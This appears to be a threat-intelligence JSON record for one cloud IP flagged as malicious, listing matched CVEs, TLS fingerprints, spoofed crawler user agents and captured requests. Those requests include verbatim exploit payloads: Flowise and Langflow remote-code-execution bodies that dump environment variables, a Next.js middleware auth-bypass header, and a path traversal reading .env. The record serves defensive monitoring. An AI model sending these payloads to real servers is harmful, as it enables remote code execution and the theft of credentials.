{"ip":"34.83.66.181","observed":true,"total_events":391,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"74 exploit-path hits","confidence":"high","network_type":null,"why":["74 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 2,517,993 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"2,517,993 bytes sent","bytes_sent":2517993,"session_seconds":10,"persistent":false},"basis":"first_contact"},"first_seen":"2026-10-20T01:22:05","last_seen":"2026-10-20T01:22:15","events_24h":391,"events_7d":391,"interactive_sessions":0,"interactive_sessions_24h":0,"interactive_sessions_7d":0,"interactive_protocols":[],"geo":{"country_code":"US","country_name":"United States","region":"Oregon","city":"The Dalles","lat":45.5999,"lon":-121.1871,"asn":396982,"org":"Google LLC"},"source_domain":"181.66.83.34.bc.googleusercontent.com","known_scanners":[],"scanner_tag":{"key":"gcp","label":"Google Cloud","category":"hosting_provider","url":"https://cloud.google.com/"},"cve_matches":[{"cve_id":"CVE-2026-33017","title":"Langflow < 1.9.0 - Remote Code Execution","severity":"CRITICAL","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow","kev_date_added":"2026-03-25"},{"cve_id":"CVE-2021-41773","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/icons/.%2e/.%2e","kev_date_added":"2021-11-03"},{"cve_id":"CVE-2021-43798","title":"Grafana v8.x - Arbitrary File Read","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/public/plugins","kev_date_added":"2025-10-09"},{"cve_id":"CVE-2026-46442","title":"Flowise < 3.1.2 - node-custom-function Unauthorized RCE","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/v1/node-custom-function","kev_date_added":null},{"cve_id":"CVE-2026-89013","title":"Dolibarr < 24.0.0 - Authorization Bypass via hashp Parameter","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/document.php","kev_date_added":null},{"cve_id":"CVE-2024-56159","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map","kev_date_added":null}],"malware":[],"udp":null,"interaction":null,"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":391}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13d1516h2_8daaf6152771_d8a2da3f94cd"],"tls_client_hello":"16030106c1010006bd030365e4455047d700b17076a9a239a7074dbb0757c25b16b9558da90d205c10891320d66b5dd8376d63ca9042fb5dc83d66a7774f80c3315dc42fa48ba18c51af136600206a6a130113021303c02bc02fc02cc030cca9cca8c013c014009c009d002f0035010006541a1a0000001b0003020002002b0007061a1a030403030000001d001b0000187069686f6c652e6368696361676f2e76706e69676f2e64650012000044cd0005000302683200230000fe0d00ba0000010001a3002077f368e042d2992379a56db7b0b5d6de54532d1c399bade892a4e9560ecb1126009096d1123fbc761e3850b95e3c4d348004e32f902a6b1e84e72b70f184a3de40082d79ae68d2c31868d1abda464de467c33f26493d6b6f074a139922460c286fcbc7ec7e6d41713d0d03473a24d9609df7451d9f59aab74581f96afb6b6bdf156c78fb6db7163dbe8cac4262b3c71e121b78357a192a6fc71f1b07e7adc7766566aa62db9b42792bfb30e4fee783338afc00050005010000000000170000000d0012001004030804040105030805050108060601002d00020101ff010001000010000e000c02683208687474702f312e31003304ef04edeaea00010011ec04c0b9f9c889ec542e5c4a6d6cc8c4f8402b027db1c47ed2d015a620b675dca086c791f8a51644905a456584f4699561f6b56d458a8e3b8e06e41eb40135f410610147ce07a32ea5a988897788aad37b6e3bba979760650371899b9f20341529eaaadf5a0c1085bbe0e149b6bb13c14809a32221f1404412445a26bac1c17c83628909b13a33c4701204c7374c188eef5c8e2cd8686d02b712b43ce4407818871a4b30cc2cc57e5e37bf305482657512a328be4ce77f8d84bbc2238b512c823a51b462780823887989b4c212343900f985ac77cfd26a3e951b76d2094fd66cbdddb69fd370a6e0ba039b3ccefa9805a57312f3432d6f29ad5f3b5af9175f7f0b3a2d979b83e07a25a3c3d3a9968a0cae57f27f90377fb63b9309089fa7473bb9186e0e388aad1c2130b369046112973993a383523e007c22026ceae87df65a2baaa24079b7439ab76aa4e09561189d3d7a09d9c28a3ef08232843dce2867e75345e0441fb8bc0b6657121f42ba949cb159b75d3138699e925ad187aa57c3cbeb8b1492c1c4e2625a63c61764a885637b43da451905e480bec7255cba59707a8f9085ac7337c58ea409aab68adbcc597ca08ce963b1ec5484ead8a379ea4c49264a0ac54a03e8a493518424cac36f1bb1d0f62153a039f6180e64e2834413ca20f103bf1827572275c3c188029cb8eef980def2a3c8550e74709c14919f87a82d6432ba42506a7c7803edec1f5175cada7315a0316d86525bb3bbbf4652c35ba297628271cfb2433299aaadc5c43a75450e199087a558b50199aa24962862c142c7cc90e245cda7b3f7369b23e374a364776f3a0f3507912092a2e35b37656554f52b17d2b271d7269fa15127e89171a60b721b9036bf85933081b09eb24901c42544603b9acb690a46452b4973046695f3bb7fad366e4f76a264b83d47200ee2089ebe9c61f2bc8c37c52d5f245bc98baf1eb642986c1d740787b088c3cb665d80d4aa6163811b8591a33929aeb9bc947434999332e79a617577920ee05f71ec5eff8161aa2083bff827c5e86e00e9a09bbac5393428563b5e39f4899a1a52314620ae291fc0517791e695d37b85cb60bdd4068f832c64a6435789213ad60c9526dcc787f95043cc33a7924a2f92195f22cd6be644069668645ab0ff14461e476d8a182f0d215b43781fe3f296888687ce5a1a87594747b5928adc80d99870f060cf81a2706882ac48994b4b866e2f1189aa8cbd68a6513c624ae465b27418c79223767b36c78519987aa6203154a0872ccaf4801c0408c07b968df791221a69a222806d03fa48a9b58e2c1b2a630963d04b3d4645bc5ef9ca543554e5e9405170b29f7652d62cce36416ebfd32b36046ab48451f2122b16e8ba25875052b0793a626969074cef02a3190c3267e659934b832efa1a34b031c634c0d8bb4155c1b4ffe9601ba3bc28e4435b08c2e1834f6440bfebe73bf1e5492b8616a423b438754026d1bd7a9a12ce765fcc070ade519acea62932035dc7e540313c4f34c432b9f99d50816f7e2a1dd1ea0bea1331b5b95d21aa6b81499a13abc49c649836dc74f7c7bfdbbb8071ba3c6d7b62858122a1237ce7a85c09fb031074a4a2423d7f5bb6df5c15178c71248bb8b83d1fbf61b3502c672ef78b09ced1af2def6c873b26edc3e79d7bb9a4821714fafeb3c7520fb2808381ab65082657b7be0501e34e755b001d0020d8a292349b9ff16fab755d15e92a4c82d38cf8a9035893e1d2d5d6f06959fc79000a000c000aeaea11ec001d00170018000b000201004a4a0001","tls_ja3":["c4dabaaff99c11c5fcc8c84bcd383ff7","829ec958857be1925f13697eaed5d901","085377225f86933c08aeeab363985c03","317ee55a2598127a440c733e5f3b431e","cd1ab8f2f251e307cf2fe6e6db2d11e7"],"http_akin":["b11cun062_00040016_84d4cebf_xce00d0f1","b11cun162_000c73fe_fe528c8e_xce00d0f1","b11cuq104_00050816_8fb55415_x038e0ee6d0f1e7f3","b11cuq082_00050816_8184102b_xd0f1e7f3","b11cuq150_10057dde_0ef1dcbb"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"t13d1516h2_8daaf6152771_d8a2da3f94cd":72,"b11cun062_00040016_84d4cebf_xce00d0f1":65,"b11cun162_000c73fe_fe528c8e_xce00d0f1":65,"b11cuq104_00050816_8fb55415_x038e0ee6d0f1e7f3":38,"b11cuq082_00050816_8184102b_xd0f1e7f3":61,"b11cuq150_10057dde_0ef1dcbb":65},"akin_families":{"b11cuq104_00050816_8fb55415_x038e0ee6d0f1e7f3":{"head":"b11cuq050_00050812_107c8b82","shapes":9,"ips":149},"b11cuq082_00050816_8184102b_xd0f1e7f3":{"head":"b11cuq050_00050812_107c8b82","shapes":9,"ips":149}},"user_agents":["Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)","Mozilla/5.0 (compatible; Meta-ExternalFetcher/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36 Edg/153.0.0.0"],"timeline":[{"date":"2026-10-20","count":391}],"recent_events":[{"timestamp":"2026-10-20T01:22:15","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"pihole.chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"266\",\"content-type\":\"application/json\",\"host\":\"pihole.chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)\",\"x-request-from\":\"internal\"}","body":"{\"functionBody\":\"const err=new Error();const Fn=err.constructor.constructor;const p=Fn('return process')();const cp=p.getBuiltinModule('child_process');return cp.execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();\",\"nodeData\":{\"inputs\":{}}}","sni":"pihole.chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/flowise/api/v1/node-custom-function","summary":"","payload_hex":"504f5354202f666c6f776973652f6170692f76312f6e6f64652d637573746f6d2d66756e6374696f6e20485454502f312e310d0a486f73743a207069686f6c652e6368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204b696d692d536561726368426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a436f6e74656e742d4c656e6774683a203236360d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a582d526571756573742d46726f6d3a20696e7465726e616c0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266756e6374696f6e426f6479223a22636f6e7374206572723d6e6577204572726f7228293b636f6e737420466e3d6572722e636f6e7374727563746f722e636f6e7374727563746f723b636f6e737420703d466e282772657475726e2070726f63657373272928293b636f6e73742063703d702e6765744275696c74696e4d6f64756c6528276368696c645f70726f6365737327293b72657475726e2063702e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e746f537472696e6728293b222c226e6f646544617461223a7b22696e70757473223a7b7d7d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)","ja3":"d4a999544e585734b1edb21e115420d9","session":"d334fc44-4f1f-4a61-8a34-b9f2660aaf5d","seq":50,"duration_ms":9763,"bytes_in":27839,"bytes_out":3850},{"timestamp":"2026-10-20T01:22:15","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"pihole.chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"266\",\"content-type\":\"application/json\",\"host\":\"pihole.chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36\",\"x-request-from\":\"internal\"}","body":"{\"functionBody\":\"const err=new Error();const Fn=err.constructor.constructor;const p=Fn('return process')();const cp=p.getBuiltinModule('child_process');return cp.execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();\",\"nodeData\":{\"inputs\":{}}}","sni":"pihole.chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/v1/node-custom-function","summary":"","payload_hex":"504f5354202f6170692f76312f6e6f64652d637573746f6d2d66756e6374696f6e20485454502f312e310d0a486f73743a207069686f6c652e6368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20427974657370696465723b207370696465722d666565646261636b406279746564616e63652e636f6d29204170706c655765624b69742f3533372e33360d0a436f6e74656e742d4c656e6774683a203236360d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a582d526571756573742d46726f6d3a20696e7465726e616c0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266756e6374696f6e426f6479223a22636f6e7374206572723d6e6577204572726f7228293b636f6e737420466e3d6572722e636f6e7374727563746f722e636f6e7374727563746f723b636f6e737420703d466e282772657475726e2070726f63657373272928293b636f6e73742063703d702e6765744275696c74696e4d6f64756c6528276368696c645f70726f6365737327293b72657475726e2063702e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e746f537472696e6728293b222c226e6f646544617461223a7b22696e70757473223a7b7d7d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36","ja3":"d4a999544e585734b1edb21e115420d9","session":"d334fc44-4f1f-4a61-8a34-b9f2660aaf5d","seq":49,"duration_ms":9587,"bytes_in":27308,"bytes_out":3773},{"timestamp":"2026-10-20T01:22:15","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"pihole.chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"211\",\"content-type\":\"application/json\",\"host\":\"pihole.chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)\"}","body":"{\"loadMethod\":\"listActions\",\"inputs\":{\"mcpServerConfig\":\"({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )\"}}","sni":"pihole.chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/flowise/api/v1/node-load-method/customMCP","summary":"","payload_hex":"504f5354202f666c6f776973652f6170692f76312f6e6f64652d6c6f61642d6d6574686f642f637573746f6d4d435020485454502f312e310d0a486f73743a207069686f6c652e6368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204b696d69426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a436f6e74656e742d4c656e6774683a203231310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b226c6f61644d6574686f64223a226c697374416374696f6e73222c22696e70757473223a7b226d6370536572766572436f6e666967223a22287b783a2866756e6374696f6e28297b72657475726e2070726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e746f537472696e6728293b7d2928297d2029227d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)","ja3":"d4a999544e585734b1edb21e115420d9","session":"d334fc44-4f1f-4a61-8a34-b9f2660aaf5d","seq":48,"duration_ms":9334,"bytes_in":26762,"bytes_out":3696},{"timestamp":"2026-10-20T01:22:15","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"pihole.chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"211\",\"content-type\":\"application/json\",\"host\":\"pihole.chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)\"}","body":"{\"loadMethod\":\"listActions\",\"inputs\":{\"mcpServerConfig\":\"({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )\"}}","sni":"pihole.chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/v1/node-load-method/customMCP","summary":"","payload_hex":"504f5354202f6170692f76312f6e6f64652d6c6f61642d6d6574686f642f637573746f6d4d435020485454502f312e310d0a486f73743a207069686f6c652e6368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204b696d69426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a436f6e74656e742d4c656e6774683a203231310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b226c6f61644d6574686f64223a226c697374416374696f6e73222c22696e70757473223a7b226d6370536572766572436f6e666967223a22287b783a2866756e6374696f6e28297b72657475726e2070726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e746f537472696e6728293b7d2928297d2029227d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)","ja3":"d4a999544e585734b1edb21e115420d9","session":"d334fc44-4f1f-4a61-8a34-b9f2660aaf5d","seq":47,"duration_ms":9155,"bytes_in":26313,"bytes_out":3619},{"timestamp":"2026-10-20T01:22:15","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"pihole.chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"218\",\"content-type\":\"application/json\",\"host\":\"pihole.chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)\"}","body":"{\"data\":{\"nodes\":[{\"data\":{\"type\":\"CustomComponent\",\"node\":{\"template\":{\"code\":{\"value\":\"import os\\n_x = os.popen('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').read()\\nraise Exception(_x)\"}}}}}],\"edges\":[]}}","sni":"pihole.chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow","summary":"","payload_hex":"504f5354202f6170692f76312f6275696c645f7075626c69635f746d702f30303030303030302d303030302d303030302d303030302d3030303030303030303030302f666c6f7720485454502f312e310d0a486f73743a207069686f6c652e6368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204b696d692d536561726368426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a436f6e74656e742d4c656e6774683a203231380d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2264617461223a7b226e6f646573223a5b7b2264617461223a7b2274797065223a22437573746f6d436f6d706f6e656e74222c226e6f6465223a7b2274656d706c617465223a7b22636f6465223a7b2276616c7565223a22696d706f7274206f735c6e5f78203d206f732e706f70656e2827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e7265616428295c6e726169736520457863657074696f6e285f7829227d7d7d7d7d5d2c226564676573223a5b5d7d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)","ja3":"d4a999544e585734b1edb21e115420d9","session":"d334fc44-4f1f-4a61-8a34-b9f2660aaf5d","seq":46,"duration_ms":9000,"bytes_in":25872,"bytes_out":3542},{"timestamp":"2026-10-20T01:22:14","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"pihole.chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"166\",\"content-type\":\"application/json\",\"host\":\"pihole.chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)\"}","body":"{\"code\":\"@exec('raise Exception(__import__(\\\"subprocess\\\").check_output(\\\"env 2>/dev/null || cat /proc/self/environ 2>/dev/null\\\",shell=True))')\\ndef foo():\\n  pass\"}","sni":"pihole.chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/langflow/api/v1/validate/code","summary":"","payload_hex":"504f5354202f6c616e67666c6f772f6170692f76312f76616c69646174652f636f646520485454502f312e310d0a486f73743a207069686f6c652e6368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20416d617a6f6e626f742f302e313b202b68747470733a2f2f646576656c6f7065722e616d617a6f6e2e636f6d2f737570706f72742f616d617a6f6e626f74290d0a436f6e74656e742d4c656e6774683a203136360d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b22636f6465223a2240657865632827726169736520457863657074696f6e285f5f696d706f72745f5f285c2273756270726f636573735c22292e636865636b5f6f7574707574285c22656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c5c222c7368656c6c3d54727565292927295c6e64656620666f6f28293a5c6e202070617373227d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)","ja3":"d4a999544e585734b1edb21e115420d9","session":"d334fc44-4f1f-4a61-8a34-b9f2660aaf5d","seq":45,"duration_ms":8821,"bytes_in":25385,"bytes_out":3465},{"timestamp":"2026-10-20T01:22:14","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"pihole.chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"166\",\"content-type\":\"application/json\",\"host\":\"pihole.chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)\"}","body":"{\"code\":\"@exec('raise Exception(__import__(\\\"subprocess\\\").check_output(\\\"env 2>/dev/null || cat /proc/self/environ 2>/dev/null\\\",shell=True))')\\ndef foo():\\n  pass\"}","sni":"pihole.chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/v1/validate/code","summary":"","payload_hex":"504f5354202f6170692f76312f76616c69646174652f636f646520485454502f312e310d0a486f73743a207069686f6c652e6368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d6574612d45787465726e616c4167656e742f312e303b202b68747470733a2f2f646576656c6f706572732e66616365626f6f6b2e636f6d2f646f63732f73686172696e672f7765626d6173746572732f637261776c6572290d0a436f6e74656e742d4c656e6774683a203136360d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b22636f6465223a2240657865632827726169736520457863657074696f6e285f5f696d706f72745f5f285c2273756270726f636573735c22292e636865636b5f6f7574707574285c22656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c5c222c7368656c6c3d54727565292927295c6e64656620666f6f28293a5c6e202070617373227d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","ja3":"d4a999544e585734b1edb21e115420d9","session":"d334fc44-4f1f-4a61-8a34-b9f2660aaf5d","seq":44,"duration_ms":8637,"bytes_in":24961,"bytes_out":3388},{"timestamp":"2026-10-20T01:22:14","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"pihole.chicago.vpnigo.de","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"host\":\"pihole.chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"pihole.chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/v1/auto_login","summary":"","payload_hex":"474554202f6170692f76312f6175746f5f6c6f67696e20485454502f312e310d0a486f73743a207069686f6c652e6368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b2062696e67626f742f322e303b202b687474703a2f2f7777772e62696e672e636f6d2f62696e67626f742e68746d290d0a4163636570743a202a2f2a0d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a582d4e6578746a732d446174613a20310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)","ja3":"d4a999544e585734b1edb21e115420d9","session":"d334fc44-4f1f-4a61-8a34-b9f2660aaf5d","seq":43,"duration_ms":8460,"bytes_in":24520,"bytes_out":3311},{"timestamp":"2026-10-20T01:22:14","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"pihole.chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"56\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"pihole.chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)\"}","body":"action=load&file=../../../../.env&password=bypass&csrf=x","sni":"pihole.chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/icecoder/lib/file-control.php","summary":"","payload_hex":"504f5354202f696365636f6465722f6c69622f66696c652d636f6e74726f6c2e70687020485454502f312e310d0a486f73743a207069686f6c652e6368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b2062696e67626f742f322e303b202b687474703a2f2f7777772e62696e672e636f6d2f62696e67626f742e68746d290d0a436f6e74656e742d4c656e6774683a2035360d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a616374696f6e3d6c6f61642666696c653d2e2e2f2e2e2f2e2e2f2e2e2f2e656e762670617373776f72643d62797061737326637372663d78","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)","ja3":"d4a999544e585734b1edb21e115420d9","session":"d334fc44-4f1f-4a61-8a34-b9f2660aaf5d","seq":42,"duration_ms":8285,"bytes_in":24090,"bytes_out":3234},{"timestamp":"2026-10-20T01:22:14","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"pihole.chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"56\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"pihole.chicago.vpnigo.de\",\"user-agent\":\"DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)\"}","body":"action=load&file=../../../../.env&password=bypass&csrf=x","sni":"pihole.chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/lib/file-control.php","summary":"","payload_hex":"504f5354202f6c69622f66696c652d636f6e74726f6c2e70687020485454502f312e310d0a486f73743a207069686f6c652e6368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204475636b417373697374426f742f312e31202868747470733a2f2f6475636b6475636b676f2e636f6d2f6475636b617373697374626f74290d0a436f6e74656e742d4c656e6774683a2035360d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a616374696f6e3d6c6f61642666696c653d2e2e2f2e2e2f2e2e2f2e2e2f2e656e762670617373776f72643d62797061737326637372663d78","method":"POST","user_agent":"DuckAssistBot/1.1 